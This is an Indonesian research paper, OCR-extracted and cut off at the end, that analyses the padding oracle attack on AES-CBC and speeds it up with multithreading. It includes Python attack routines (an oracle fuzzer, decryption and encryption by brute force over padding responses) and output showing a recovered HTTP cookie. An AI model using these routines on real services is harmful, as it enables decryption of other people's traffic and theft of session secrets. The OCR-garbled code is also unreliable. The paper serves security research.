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Abstrak

Kriptografi sudah menjadi kebutuhan sehari-hari untuk mengamankan data dari pihak
yang tidak bertanggung jawab. CBC (Cipher Block Chaining) merupakan salah satu mode
dalam kriptografi block cipher yang sering digunakan dalam pengembangan aplikasi. Padding
Oracle Attack merupakan salah satu serangan yang dapat digunakan oleh attacker untuk
melakukan proses enkripsi dan dekripsi tanpa mengetahui kuncinya sama sekali. Hal ini ter-
jadi karena tidak ada proses validasi sebelum melakukan proses dekripsi apakah yang akan
didekripsi ciphertert yang valid atau tidak. Padding Oracle Attack dapat dioptimasi dengan
melakukan implementasi multiprocessing. Tujuan dari penelitian ini adalah menganalisis men-
gapa Padding Oracle Attack bisa terjadi dan bagaimana cara melakukan optimasi Padding
Oracle Attack. Hasil yang didapat menunjukan bahwa, dengan mengimplementasikan mul-
tiprocessing maka durasi serangan Padding Oracle Attack bisa menjadi dua kali lebih cepat

dibanding tidak menggunakan multiprocessing.
CBC, Cipher Block Chaining, Padding Oracle Attack, Kriptografi

Kata kuneci :

Pendahuluan

Keamanan informasi merupakan hal yang penting
di Industri 4.0. Kriptografi memegang peran pent-
ing untuk menjaga keamanan informasi. Krip-
tografi adalah tehnik yang bertujuan untuk men-
jaga kerahasiaan suatu pesan sehingga pesan terse-
but hanya bisa diakses oleh pihak pengirim dan
penerima [1]. Informasi yang dikirimkan harus
tetap rahasia dan original tanpa terubah sama
sekali ketika informasi sampai ke pihak penerima.

Walaupun sistem sudah menerapkan kriptografi,
bukan berarti sudah aman secara mutlak. Terda-
pat beberapa serangan pada kriptografi salah sat-
unya adalah Padding Oracle Attack. Padding Ora-
cle Attack ditemukan pertama kali oleh Vaudenay
[2] pada tahun 2002. Serangan ini menargetkan pe-
san yang terenkripsi menggunakan kriptografi block
cipher dengan mode CBC ( Cipher Block Chaining).
Serangan ini dapat dimanfaatkan oleh attacker un-
tuk melakukan dekripsi ciphertext secara keselu-
ruhan tanpa mengetahui kuncinya. Pada proses
dekripsi mode CBC ( Cipher Block Chaining), perlu
dilakukan pengecekan apakah ciphertext yang akan
diproses merupakan ciphertext yang valid atau
tidak. Jika tidak terdapat pengecekan, biasanya sis-
tem akan mengirimkan pesan error kepada sender.
Jika terjadi seperti ini, maka sistem rentan terhadap
Side Channel Attack. Padding Oracle Attack meru-
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pakan serangan yang membutuhkan server yang
melakukan proses dekripsi dan menghasilkan output
apakah ciphertext yang didekripsi memiliki padding
yang valid atau tidak [2].

Meskipun Padding Oracle Attack ditemukan
pada tahun 2002, Padding Oracle Attack masih
menjadi masalah hingga saat ini. Beberapa ap-
likasi yang terdampak dari Padding Oracle At-
tack adalah OpenSSL (CVE-2019-1559) [3], F5
(CVE-2019-6593) [4], SonicWall SonicOs (CVE-
2019-7477) [5] dan Microsoft Exchange (CVE-2021-
31196) [6]. CVE-2019-1559 [3] menjelaskan bahwa
OpenSSL versi 1.0.2 sampai 1.0.2q rentan terhadap
Padding Oracle Attack sehingga dapat melakukan
dekripsi terhadap ciphertext yang dienkripsi oleh
OpenSSL. CVE-2019-6593 [4] menjelaskan bahwa
BIG-IP virtual server yang dikonfigurasi dengan
SSL (Secure Socket Layer) rentan terhadap Cho-
sen Ciphertext Attack terhadap mode CBC (Ci-
pher Block Chaining). Hasil dari serangan ini at-
tacker bisa mendapatkan plaintext dari pesan yang
terenkripsi melalui MITM (Man In The Middle At-
tack) walaupun attacker tidak memiliki private key
dari server. CVE-2019-7477 [5] menjelaskan bahwa
Padding Oracle Attack memungkinkan attacker
untuk mendapatkan plaintext ketika CBC cipher
suites diaktifkan. Kerentanan ini berdampak pada
SonicOS Gen 5 versi 5.9.1.10 dan versi sebelumnya.
CVE-2021-31196 [6] menjelaskan bahwa Padding
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Oracle Attack dapat digunakan untuk melakukan
dekripsi terhadap cookies milik Microsoft Exchange
Server yang mengandung informasi sensitif milik
client.

Dari penjelasan di atas, kerentanan yang menye-
babkan Padding Oracle Attack masih ada pada be-
berapa produk perangkat lunak terbaru, untuk itu
perlu diteliti kerentanan apa yang menyebabkan
Padding Oracle Attack dan bagaimana pengujian
ketahanan terhadap Padding Oracle Attack dapat
dipercepat sehingga dapat dilakukan otomasi pen-
gujian terhadap perangkat lunak.

Metode Penelitian

Metode penelitian yang digunakan pada peneli-
tian ini terdapat empat tahap, lihat Gambar
1. Tahap pertama adalah Vulnerability Analysis.
Pada penelitian ini akan mereplikasi salah satu sis-
tem yang vulnerable terhadap Padding Oracle At-
tack yaitu implementasi mode CBC (Cipher Block
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Chaining) pada SSL (Secure Socket Layer). Anali-
sis dilakukan untuk mengetahui mengapa Padding
Oracle Attack bisa terjadi. Tahap kedua adalah
melakukan replikasi vulnerability pada SSL (Secure
Socket Layer). Replikasi dilakukan dengan cara
membuat script python yang algoritmanya sama
dengan vulnerability yang ada pada SSL (Secure
Socket Layer). Tahap ketiga adalah merancang
script untuk melakukan serangan. Script dirancang
untuk dapat melakukan dekripsi maupun enkripsi
tanpa mengetahui kuncinya. Selain itu akan diim-
plementasikan multiprocessing agar durasi seran-
gan menjadi lebih cepat.Tahap keempat adalah
melakukan serangan. Serangan dilakukan dengan
cara menjalankan script yang telah dirancang ke en-
vironment target yang telah dirancang. Hasil dari
serangan akan dianalisa apakah Padding Oracle At-
tack dapat melakukan proses enkripsi dan dekripsi
tanpa mengetahu kuncinya. Durasi dari serangan
akan dikalkulasi apakah implementasi multiprocess-
ing dapat mempercepat proses serangan.
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i Ty
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Oracle Script
A l A
i Ty
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Gambar 1: Diagram Metode Penelitian

Vulnerability Analysis

Padding Oracle Attack terjadi karena tidak ada
validasi terhadap ciphertext yang akan didekripsi.
Sebelum melakukan serangan, attacker harus bisa
membedakan response dari server apakah hasil dari

proses dekripsi memiliki padding yang valid atau
tidak. Ketika attacker sudah berhasil membedakan
response dari server yang menyatakan padding
tersebut valid atau tidak, maka attacker dapat
melakukan proses enkripsi maupun dekripsi tanpa
mengetahui kunci yang digunakan sama sekali [1].
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Gambar 2: CBC Malleability

CBC (Cipher Block Chaining) memiliki kelema-
han yang disebut CBC malleability, lihat Gambar
2. Hal ini terjadi karena ketika merubah 1 byte
dari suatu block cipher, maka akan merubah hasil
dekripsi di block n dan n+1 sedangkan hasil dekripsi
di block n-1 tidak berubah [7]. Hal ini disebabkan
oleh rumus dekripsi CBC yang akan dijelaskan pada
rumus 1 dan rumus 2.

P; = Dk (C;)@Cii—1) (2)

dengan P, adalah blok plaintext pertama, Cg
adalah blok ciphertext pertama, IV adalah Initial-
ization Vector, Dk adalah fungsi dekripsi blok, P;
adalah blok plaintext index i, C; adalah blok cipher-
text index i, C;_; adalah blok ciphertert index i-1

Py = Dk (Co)@IV (1 17
Ciphertext Ciphertext Ciphertext
HEEENENENENEE [IIITTTTTTTTT] T TTTTTTTTT]
block cipher block cipher block cipher
Key decryption Key decryption Key decryption
Initialization Vector (IV)
LIy f——= - =
HEEENENENENEE [IIITTTTTTTTT] T TTTTTTTTT]
Plaintext Plaintext Plaintext

Gambar 3: Proses Dekripsi CBC [7]

Gambar 3 adalah proses dekripsi CBC (Ci-
pher Block Chaining), ciphertext akan dibagi
berdasarkan panjang block. Nilai umum dari block
adalah 16, 1 block berisi 16 byte. Blok ciphertext
pertama akan masuk ke fungsi block cipher decryp-
tion. Fungsi block cipher decryption identik den-
gan fungsi dekripsi ECB (Electronic Code Book).
Hasil dari proses block cipher decryption akan di-
lakukan XOR dengan blok IV (Initialization Vec-
tor). Hasil dari XOR dengan blok IV (Initializa-
tion Vector) akan menjadi blok plaintext pertama.
Blok ciphertext selanjutnya akan masuk ke proses
block cipher decryption. Hasil dari proses tersebut
akan di XOR dengan blok ciphertext sebelumnya.
Hasil dari XOR dengan blok ciphertext sebelumnya
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menjadi blok plaintext [8].

Apabila satu byte dari IV (Initialization Vec-
tor) dirubah, maka hasil dekripsi dari blok cipher-
text pertama akan berubah tetapi hanya satu byte
dan sisanya tidak berubah. Asumsikan attacker
memiliki blok TV, blok ciphertext pertama dan blok
plaintext pertma. Attacker ingin merubah plaintext
yang dihasilkan dari proses dekripsi maka attacker
bisa melakukan XOR blok IV dengan blok plaintext
lama XOR blok plaintezt baru seperti yang akan di-
jelaskan pada rumus 3.

IV = Py@IVaePr (3)

Cii1 =P,®C; 0P (4)
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dengan IV’ adalah blok IV baru, Py adalah
blok plaintext pertama, IV adalah blok Initializa-
tion Vector, Py’adalah blok plaintext baru index
pertama, C,;_1’ adalah blok ciphertext baru index
i-1, P; adalah blok plaintext pertama, C;_1 blok
ciphertext asli index i-1, P;’ adalah blok plaintext
baru. Apabila attacker ingin merubah hasil dekripsi
pada blok ciphertext selanjutnya, maka attacker
bisa mengkalkulasikan C;_;’ seperti yang tertera
pada rumus 4 [8].

SSL Vulnerability

SSL (Secure Socket Layer) memiliki celah kea-
manan pada implementasi AES CBC. Terdapat se-
buah fungsi yang bernama Mac-Then-Pad-Then-
Encrypt. Fungsi Mac-Then-Pad-Then-Encrypt
adalah fungsi yang menambahkan MAC (Mes-
sage Authentication Code) yang berfungsi untuk
melakukan validasi terhadap plaintext. Setelah itu
ditambahkan padding dengan tujuan agar panjang
plaintext sesuai dengan ukuran blok yang digu-
nakan.

[Rla[v] i ]ofmIm[mIm[m[m[m[m]m[m]wm]

(M[m[m]m[m[mIm[m[m[m]e[e]c]6[e]6]

Gambar 4: Tlustrasi Mac-Then-Pad-Then-Encrypt

Gambar 4 mengilustrasikan terdapat 2 blok den-
gan ukuran 16. Panjang cleartext adalah 5 bytes,
kemudian digabungkan dengan MAC ( Message Au-
thentication Code) dengan panjang 20 bytes. Sete-
lah menambahkan MAC (Message Authentication
Code), ditambahkan padding sebanyak 6 bytes den-
gan tujuan agar panjang plaintext yang diproses un-
tuk dienkripsi merupakan kelipatan 16 yang meru-
pakan ukuran dari block size [9].

Fungsi Mac-Then-Pad-Then-Encrypt rentan
terhadap Padding Oracle Attack dikarenakan fungsi
ini tidak dapat menjaga integritas dari cipher-
text yang dikirim sehingga attacker dapat merubah
ciphertext dan membuat ciphertext sendiri yang
ketika didekripsi menghasilkan plaintext yang di-
inginkan oleh attacker [10]. Berikut ini proses
dekripsi terhadap ciphertext yang mengimplemen-
tasikan Mac-Then-Pad-Then-Encrypt

1. Dekripsi CBC menggunakan kunci

2. Validasi padding. Jika padding tidak valid,
maka akan mengembalikan status Padding
Error. Jika padding valid, akan melakukan
pengecekan terhadap MAC

Validasi MAC. Jika MAC tidak valid, maka
akan mengembalikan status MAC Error. Jika
MAC vallid, maka akan mengembalikan clear-
text dan plaintext dianggap valid.
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Gambar 6: Padding Valid

Kondisi padding tidak valid diilustrasikan pada
Gambar 5. Kondisi ini terjadi ketika attacker men-
gubah blok C,,_; kemudian hasil dekripsi pada blok
C, index terakhir mengandung byte yang lebih
dari ukuran block size. Pada penelitian ini, uku-
ran block size adalah 16. Pada Gambar 5, in-
dex terakhir pada blok C,_; adalah 26, sehingga
hasilnya adalah padding tidak valid. Sebaliknya,
ketika index terakhir pada blok C,, mengandung
byte yang kurang dari ukuran block size, maka
hasilnya adalah padding valid seperti pada Gambar
6 [11].

Replicate Vulnerability

Fungsi Mac-Then-Pad-Then-Encrypt rentan ter-
hadap Padding Oracle Attack. Pada penelitian
ini, peneliti akan melakukan replikasi terhadap vul-
nerability dengan cara membuat program -client
dan server. Program cllient berfungsi untuk men-
girim ciphertext dan program server berfungsi un-
tuk melakukan dekripsi kemudian memberikan re-
sponse ke client. Program client dan server meng-
gunakan library Python Socket untuk proses pen-
giriman data dan penerimaan data. Program
server juga menggunakan Python library bernama
PyCryptoDome yang memiliki vulnerability pada
fungsi unpad.

Pseudo-code 1 Snippet Code Fungsi Unpad Py-
CryptoDome

if padding_len < 1 or padding_len >
min(block_size,pdata_len):
raise ValueError("Padding is incorrect")

Pseudo-code 1 menjelaskan bahwa pada library
PyCrytoDome terdapat vulnerability dikarenakan
terdapat statement yang akan memberikan output
“Padding is incorrect” yang merupakan response
jika padding tidak valid. Jika padding valid, maka
program akan mengembalikan cleartext.

Setelah membuat program client dan server,
peneliti menggunakan tehnik MITM (Man In
The Middle Attack) untuk mendapatkan cipher-
text yang dikirim oleh program client dan server.
Peneliti menggunakan software bernama wireshark.
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Hasil ciphertext dari wireshark akan diproses untuk
Padding Oracle Attack.

Client HTTPS Ciphertext

Client

Server HTTPS Ciphertext

Server

Client HTTPS Ciphertext Forged Client HTTPS Ciphertext
Invalid Padding or Invalid MAC Error

Attacker

Server

Client

Gambar 7: Koneksi Normal dan Koneksi MITM

Pseudo-code 2 Oracle Fuzzer
import socket

def send_request(payload):
sock = socket.socket(socket.AF INET,
socket.SOCK_STREAM)
server_address = ('54.254.199.42',10000)
print('sending payload to to {} port
'.format(*server_address))
sock.connect(server_address)
sock.sendall(payload)
sock.recv(1024)
return res

~
()

res =

def main():

for x in range(255):
payload = b"\xe0" *

*16

res =

15 + chr(x).encode() +
b"A"
send_request(payload)
if x ==
previous_res =
print(x)
if res != previous_res:
print('Vulnerable')
print('[+] valid Response :
L' .format(res))
break

res

—_
==

else:
print('[-] Invalid Response :
L' .format(res))

~
e

if _ name__ ==
main()

" _main__ ":

Gambar 7 mengilustrasikan serangan. Koneksi
yang normal client dan server berhubungan secara
langsung tanpa ada pihak ketiga. Ketika seran-
gan MITM (Man In The Middle Attack), attacker
menjadi pihak ketiga antara client dan server se-
hingga attacker mengetahui ciphertext yang dikir-
imkan oleh client dan sebaliknya [12]. Attacker
melakukan modifikasi ciphertext untuk melakukan
serangan Padding Oracle Attack.

Perancangan Padding Oracle Attack

Script

Konsep utama dari Padding Oracle Attack adalah

mampu membedakan response ketika padding valid
241

atau tidak valid. Hal ini diperlukan untuk menda-
patkan byte awal yang disebut intermediate bytes.
Intermediate bytes adalah byte awal hasil output
proses block cipher decryption sebelum dilakukan
operasi XOR dengan C,_1). Untuk dapat menen-
tukan apakah padding bernilai valid atau tidak, at-
tacker dapat melakukan fuzzing yaitu dengan men-
girimkan ciphertext palsu lalu menganalisa perbe-
daan response yang dihasilkan.

Pseudo-code 2 merupakan Oracle Fuzzer. Pro-
gram ini berfungsi dengan cara mengirimkan ci-
phertext palsu. Ciphertext palsu diawali dengan
null char sebanyak block size — 1 digabungkan den-
gan nilai perulangan dan karakter acak. Program
akan membandingkan response yang diterima den-
gan response sebelumnya, apabila ada perbedaan
maka program ini akan menganggap bahwa target
rentan terhadap Padding Oracle Attack.

Cn

LITTTTITTITTITTITTIs LITTTTTTJTITITITIITIT]

block cipher deeryption

[ITTTTIT

[TTTTTTi

Gambar 8: Padding Oracle byte padding 1 ditemukan

Cn-1 Cn

I T T A A P11 [IITTTTT]TITITITIITIT]

block cipher deeryption

2|2
Gambar 9: Padding Oracle byte padding 2 ditemukan

Gambar 8 menjelaskan bahwa untuk mene-
mukan intermediate bytes, attacker merubah C,,_1
sampai ditemukan hasil yang mengandung padding
yang valid. Jika sudah menemukan padding yang
valid pada index terakhir seperti Gambar 9, maka
berlanjut ke index yang lain hingga mendapatkan
semua intermediate bytes dalam 1 blok. Rumus
5 digunakan untuk menemukan intermediate bytes
setelah mendapatkan response padding valid.

I =Pz (5)

dengan I adalah intermediate byte, P adalah ni-
lai padding yang valid pada perulangan, x adalah
nilai perulangan.
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Konsep Padding Oracle Decryption

Langkah penting untuk melakukan Padding Ora-
cle Decryption adalah mencari intermediate bytes
seperti pada rumus 5. Intermediate bytes digu-
nakan untuk operasi XOR dengan blok ciphertext
C,,—1. Hasil dari operasi XOR merupakan plaintext
dari ciphertext.

Pseudocode 3 merupakan fungsi untuk
melakukan Padding Oracle Decryption pada
Python 3. Langkah pertama yang dilakukan fungsi
Pseudocode 3 adalah memecah ciphertext men-
jadi beberapa block sesuai dari ukuran block size.
Hasil dari pemecahan ciphertext disimpan ke vari-
able ct_block. Variabel pl_block berfungsi untuk
menyimpan hasil dekripsi ciphertext yang akan di-
gunakan kemudian.Variabel inter state digunakan
untuk menyimpan intermediate bytes. Langkah
selanjutnya adalah program mencari intermediate
bytes pada 1 blok. Intermediate bytes dicari se-
cara brute force berdasarkan maksimal nilai ASCII
(American Standard Code for Information Inter-
change) yaitu 255. Setelah ditemukan kondisi
padding yang valid, akan dilakukan operasi seperti
Rumus 5 dan hasilnya akan dimasukan kedalam ar-
ray. Apabila semua intermediate byte dalam 1 blok
telah ditemukan, maka akan di XOR dengan blok
ciphertext C, _1 yang menghasilkan blok plaintext
P, .

Pseudo-code 3 Padding Oracle Decryption

def padding_oracle_dec_single(cipher,block_size):
ct_block = [list(cipher[x:x+block_size]) for x
in range(0,len(cipher),block_size)]
pl_block [[] for x in range(len(ct_block))]
inter_state =
generate_null(len(ct_block),block_size)
for x in range(len(ct_block)-1,0,-1):

ct_guess = generate_null(x,block_size) +
[ct_block[x][:]1]

pad_byte 1

for y in range((block_size-1),-1,-1):

found False

-

for z in range(256):
if y < (block_size-1):
for i in range(y+1,block_size):
ct_guess[x-1][i]
chr(ord(inter_state[x][i]) * pad_byte)
ct_guess[x-1][y] chr(z)
tmp = generate_null(1l,block_size)
+ ct_guess[:]

if ask_oracle(tmp):
print('yes {}'.format(y))
yl

inter_state[x][ chr(z *
pad_byte)

pad_byte += 1

found

break

True
if found == False:
print('not found')
exit()
pl_block|[x]
xor (inter_state[x],ct_block[x-1])
print (pl_block)
"*.join(pl_block[1:])

return
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Konsep MultiProcessing Padding Or-
acle Decryption

Padding Oracle Decryption dapat dioptimasi den-
gan mengimplementasikan multiprocessing. Kon-
sep dari Multiprocessing Padding Oracle Decryp-
tion akan dijelaskan pada Gambar 10.

WV+Co
w+C2

Attacker > Server
WV+C3

Gambar 10: Implementasi Multiprocessing

Gambar 10 menjelaskan bahwa untuk mengim-
plementasikan Multiprocessing Padding Ora-
cle, konsepnya adalah memecah blok ciphertext
berdasarkan block size kemudian ditambahkan den-
gan IV’ yang merupakan nilai tebakan untuk men-
emukan intermediate bytes. Hasil dari pemeca-
han dan penambahan IV’ dikirim ke server secara
bersamaan dengan blok lain.

Pseudo-code 4 Multiprocessing Padding Oracle De-
cryption

def padding_oracle_dec_multi(cipher,block_size):
ct_block = [list(cipher[x:x+block size]) for x

in range(@,len(cipher),block size)]

[]

for x in range(@,len(ct_block)-1,1):
tmp = ct_block[x] + ct_block[x+1]
ct_new.append(tmp)

ct_new

for x in range(©,len(ct_new),num_threads):
threads []

for y in range(x,x+num_threads,1):

if y < len(ct_new):
print('starting thread :
{}'.format(y))
t
Thread(target=padding_oracle_dec_single,

args=(ct_new[y],block_size,y,))
threads.append(t)
t.start()
for t in threads:
t.join()

Pseudocode 4 merupakan fungsi yang mengim-
plementasikan Multiprocessing Padding Oracle De-
cryption. Fungsi ini akan melakukan pemecahan ci-
phertext berdasarkan block size. Hasil pemecahan
akan diproses ke fungsi yang melakukan dekripsi
padding oracle seperti pada Pseudocode 3. Secara
garis besar, Pseudocode 4 melakukan pemecahan
dan memanggil fungsi Thread yang merupakan mul-
tiprocessing dan Pseudocode 3 yang melakukan tu-
gasnya untuk melakukan dekripsi perblok. Imple-
mentasi mutliprocessing hanya dapat dilakukan un-
tuk melakukan dekripsi tidak dengan enkripsi. Hal
ini dikarenakan pada proses dekripsi, intermediate
bytes bisa didapatkan secara paralel namun tidak
untuk enkripsi.
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Konsep Padding Oracle Encryption

Seperti pada Padding Oracle Decryption, langkah
penting pada Padding Oracle Encryption adalah
mencari intermediate bytes seperti pada rumus
5. Intermediate bytes digunakan untuk operasi
XOR dengan blok plaintext yang diinginkan at-
tacker. Hasil dari operasi XOR merupakan cipher-
text yang apabila didekripsi di server target akan
menghasilkan plaintext yang diinginkan attacker.

Pseudocode5  merupakan  fungsi  untuk
melakukan Padding Oracle Encryption. Langkah
awal yang dilakukan oleh fungsi ini adalah mem-
berikan padding terhadap plaintext yang diinginkan
oleh attacker. Setelah diberikan padding, plain-
text akan dipecah berdasarkan ukuran block size.
ct__block merupakan array yang akan menampung
fake ciphertext. Inter state adalah array yang akan
menampung intermediate bytes. Langkah selanjut-
nya adalah program mencari intermediate bytes
pada 1 blok. Intermediate bytes dicari secara brute
force berdasarkan maksimal nilai ASCIT (Ameri-
can Standard Code for Information Interchange)
yaitu 255. Setelah ditemukan kondisi padding yang
valid, akan dilakukan operasi seperti rumus 5 dan
hasilnya akan dimasukan kedalam array. Apabila
semua intermediate byte dalam 1 blok telah dite-
mukan, makan akan dilakukan operasi XOR dengan
plaintext yang diinginkan oleh attacker sehingga
menghasilkan blok C,,_;.

Pseudo-code 5 Padding Oracle Encryption

def padding_oracle_encrypt(plain,block_size)
plain = pad(plain,block_size)
pl_block = [plain[x:x+block_size] for x in
range(0,len(plain),block size)]
ct_block = [[] for x in range(len(pl_block))]
+ [1ist('A" * block_size)]
inter_state =
generate_null(len(ct_block),block_size)
for x in range(len(ct_block)-1,0,-1):
ct_guess = generate_null(x,block_size) +
[ct_block[x][:]]
pad_byte = 1
for y in range((block_size-1),-1,-1):
found = False
for z in range(256):
if y < (block size-1):
for i in range(y+1,block_size):
ct_guess[x-1][i] =
chr(ord(inter_state[x][1]) ~ pad_byte)
ct_guess[x-1][y] = chr(z)
tmp = generate_null(l,block_size)
+ ct_guess[:]
if ask_oracle(tmp)
print('yes {}'.format(y))
inter_state[x][y] = chr(z
pad_byte)
pad_byte += 1
found = True
break
if found == False:
print('not found')
exit()
print(pl_block[x-1])
ct_block[x-1] =
]

list(xor(inter_state[x],pl_block[x-1]))
[

ct_out = !
ct_block])

return ct_out

"' .join( .join(c) for c in
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Hasil dan Pembahasan

Untuk melakukan pengujian, peneliti menjalankan
program server di Ubuntu 20.04 LTS dan pro-
gram client di Kali Linux. Hardware yang digu-
nakan adalah server dengan spesifikasi Prosesor In-
tel 2.8Ghz, 16Gb RAM, dan 500Gb Harddisk.

Program client berfungsi untuk mengirimkan
HTTP request yang terenkripsi dengan AES
CBC 128 bit blok kemudian dikirim ke program
server. Program server menerima ciphertext,
mendekripsi ciphertext dari client kemudian men-
girimkan HTTP request yang terenkripsi ke cllient.

z $ python3 https_client.py
connecting to 54.254.199.42 port 10000

[+] Sending HTTP Request

GET /secret_endpoint HTTP/1.1

Host: target.com

Connection: close

Cookie: secret_cookie=ade91d587c7134a6cef7abd32f6c4367

Upgrade-Insecure-Requests: 1

[+] Receiving Response From Server
HTTP/1.1 200 OK

Server: nginx

Date: Thu, @05 Nov 2020 06:15:20 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

Vary: Accept-Encoding

Content-Length: 338

<p>Hellloo, this is response from server</p>

closing socket

Gambar 11: Program Server dan Client Berjalan Suk-
ses

Gambar 11 menunjukan program client dan
server berjalan dengan baik sehingga peneliti dapat
lanjut ketahap berikutnya.

Oracle Fuzzing

Program python pada Algorithm 1 dijalankan un-
tuk mendapatkan perbedaan antara response yang
memiliki makna padding valid atau tidak valid.

[-] Invalid Response : b'Invalid Padding’
sending payload to to 54.254.199.42 port 10000
127

[-] Invalid Response :
sending payload to to
128

Vulnerable

[+] valid Response : b''

nvalid Padding'
.199.42 port 10000

s

Gambar 12: Oracle Fuzzing

Gambar 12 menunjukan bahwa response yang
yang menandakan padding tidak valid adalah “In-
valid Padding”. Informasi ini sudah cukup untuk
melakukan serangan sehingga dapat dibuat pro-
gram lebih spesifik untuk membedakan padding
valid atau tidak valid seperti pada Pseudocode 6.
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Pseudo-code 6 Ask Oracle Function

def ask_oracle(cipher):
payload = b"".join([bytes(c) for ¢ in cipher])
sock = socket.socket(socket.AF_INET,
socket .SOCK_STREAM)
server_address = ('127.0.0.1"',10000)
print('sending payload to to {}
.format(*server_address))

port

sock.connect(server_address)
sock.sendall(payload)
res = sock.recv(1024)
if b"Invalid Padding"” not in res:
return True
else:
return False

Mendapatkan
MITM

MITM (Man In The Middle Attack) adalah seran-
gan dimana penyerang berada di tengah-tengah
koneksi antara client dan server. Salah satu contoh
Man In The Middle Attack adalah sniffing. Den-
gan sniffing, penyerang dapat mengetahui data apa
saja yang dikirimkan baik oleh client maupun oleh
server. Tujuan dari sniffing dalam hal ini adalah
untuk mengetahui ciphertext CBC AES yang di-
enkripsi dan dikirimkan oleh program client dan
program server.

Untuk mendapatkan ciphertext, jalankan Wire-
shark kemudian jalankan program client berjalan,
klik “Follow TCP Stream” pada paket TCP. Cipher-
text client dan server berhasil didapatkan dan con-
vert ciphertext menjadi Raw Data seperti Gambar
13.

Ciphertext dengan

10a274007eb
7c0510443970040571617122

13226261 3
cc3a1a6007DC 184053084 24448119020150158:

dabb27fbbd7b27bee1215830043a3077 21
852468526067 421 6124120087 ed3240ea006b4ee:

Entire conversation (480 bytes)

Filter Out This Stream Print Save as. Back

Gambar 13: Hasil Sniffing Ciphertext Didapatkan

Padding Oracle Decryption

Sebelum melakukan dekripsi keseluruhan cipher-
text, peneliti melakukan testing pada program un-
tuk melakukan dekripsi terhadap 2 blok ciphertext.
2 block ciphertext akan menghasilkan 1 blok plain-
text ketika didekripsi. Setelah melakukan dekripsi,
peneliti menganalisa lama waktu yang dibutuhkan
untuk melakukan dekripsi.

sending payload to to 54.254.199.42 port 10000
yes @

[[], b'GET /secret_endp']

b'GET /secret_endp'

[+] waktu Mulai : 1605625663
[+] waktu Selesai : 1605625733
[+] Lama Serangan : 70

s

Gambar 14: Padding Oracle Decryption 2 block ci-
phertext

Gambar 16: Dekripsi Server Ciphertext

Penjelasan dari Gambar 14, 15 dan 16 dijelaskan
pada Tabel 1.

Tabel 1: Rangkuman Durasi Padding Oracle De-
cryption

Jumlah Blok Jumlah Blok Durasi
Ciphertext Plaintext Serangan
(detik)
2 1 70
13 12 1074
17 16 1355

Berdasarkan Tabel 1, untuk mendapatkan 1
blok plaintext dibutuhkan waktu kurang lebih 70
detik. Sedangkan untuk mendapatkan 12 blok
plaintext diperlukan waktu 1074, 0.8 kali lebih lam-
bat dibandingkan 1 blok. Dan pada 16 Blok juga
0.8 kali lebih lambat. Hal ini dipengaruhi oleh ke-
cepatan koneksi internet ketika melakukan seran-
gan. Untuk mempercepat durasi serangan, dapat
mengimplementasikan multiprocessing yang akan
dibahas di bagian selanjutnya.

Multiprocessing Padding Oracle De-
cryption

Multiprocessing diimplementasikan untuk mem-
persingkat durasi Padding Oracle Attack. Imple-
mentasi multiprocessing sangat disarankan ketika
blok ciphertext yang ingin didekripsi berjumlah
banyak. Hasil dari serangan pada Gambar 17 dan
Gambar 18 akan dirangkum pada Tabel 2.
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Gambar 17: Dekripsi Client Cipher dengan Multipro-
cessing Padding Oracle

[+] Result : [b'HTTP/1.1 200 OK\n', b'Server: nginx\nDa', b'te: Thu, @5
338\n\n<p>Hellloo"
r', [0, 0,0 0,0 00,0 00,0, 0 0, 0,0, 0]]
: 1605680517
[+] waktu Selesai : 1605681155

[+] Lama Serangan : 638

:', b' Accept-Encoding', b'\nContent-Length:', b’
N

4 |

Gambar 18: Dekripsi Server Cipher dengan Multipro-
cessing Padding Oracle

Tabel 2: Rangkuman Durasi Multiprocessing
Padding Oracle Decryption
Jumlah Blok Jumlah Blok Durasi
Ciphertext Plaintext Serangan
(detik)
13 12 497
17 16 638

Multiprocessing dapat diimplementasikan ketika
jumlah blok ciphertext yang akan didekripsi lebih
dari 2 blok. Data durasi serangan pada Tabel 2
dibandingkan dengan data pada Tabel 1 dengan
tidak menggunakan multiprosesing dapat disim-
pulkan bahwa dengan implementasi multiprocessing
dapat mempercepat durasi serangan hingga 2 kali
lipat. Kecepatan pada implementasi multiprocess-
ing juga dipengaruhi oleh kecepatan koneksi inter-
net dan jenis CPU yang digunakan.

Padding Oracle Encryption

Padding Oracle Attack dapat dimanfaatkan oleh
attacker untuk membuat ciphertext yang ketika
didekripsi menghasilkan plaintext yang diinginkan.
Dalam kasus SSL (Secure Socket Layer), Padding
Oracle Attack dapat melakukan enkripsi tetapi
tidak dapat membuat ciphertext yang dianggap
valid oleh server dikarenakan terdapat MAC (Mes-
sage Authentication Code) yang berfungsi untuk
mengecek apakah plaintext valid benar-benar be-
rasal dari server atau tidak.

Dalam penelitian ini, peneliti akan melakukan
enkripsi kembali terhadap plaintext yang sudah di-
dapatkan dari hasil Padding Oracle Decryption.
Proses ini menghasilkan ciphertext yang berbeda
tetapi menghasilkan plaintext yang sama. Cipher-
text yang dihasilkan akan dikirim ke server un-
tuk memastikan apakah server menerima ciphertext
yang dihasilkan atau tidak.
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[+] ktu Mulai
[+] Waktu S
[+] Lama Seran

Gambar 19: Enkripsi Plaintext dengan Padding Oracle
Encryption

8 $ python3 https_client_new.py
connecting to 54.254.199.42 port 10000

\x99\x8d\xd1\x17\x8d\x
cQ\ c xfb\

s

Gambar 20: Mengirim Ciphertext ke Server

Gambar 19 menunjukan bahwa plaintext
berhasil di enkripsi ulang dan waktu yang dibu-
tuhkan adalah 1087 detik. Gambar 21 menunjukan
bahwa ciphertext yang dihasilkan dari proses pada
Gambar 20 dianggap valid oleh server. Gambar 20
menunjukan server memberikan response cipher-
text yang seharusnya jika tidak valid, maka server
akan mengembalikan status “Invalid MAC”. Cipher-
text dianggap valid karena peneliti tidak mengubah
plaintext sama sekali. Jika plaintext dirubah,
maka MAC (Message Authentication Code) juga
akan berbeda sebelumnya sehingga jika dikirim ke
server akan gagal dan mengembalikan status “In-
valid MAC”.

Ringkasan Perbandingan

Pada penelitian ini, telah dilakukan Padding Or-
acle Attack yang dapat melakukan enkripsi dan
dekripsi. Fokus dari penelitian ini adalah anali-
sis dan optimasi Padding Oracle Attack sehingga
durasi serangan menjadi lebih cepat. Paddding Or-
acle Decryption dapat diimplementasikan multipro-
cessing karena blok ciphertext bisa dipecah men-
jadi beberapa bagian untuk diproses secara paral-
lel. Padding Oracle Encryption tidak dapat diim-
plementasikan multiprocessing karena blok plain-
text tidak dapat dipecah. Tabel 3 merupakan
rangkuman perbandingan Padding Oracle Decryp-
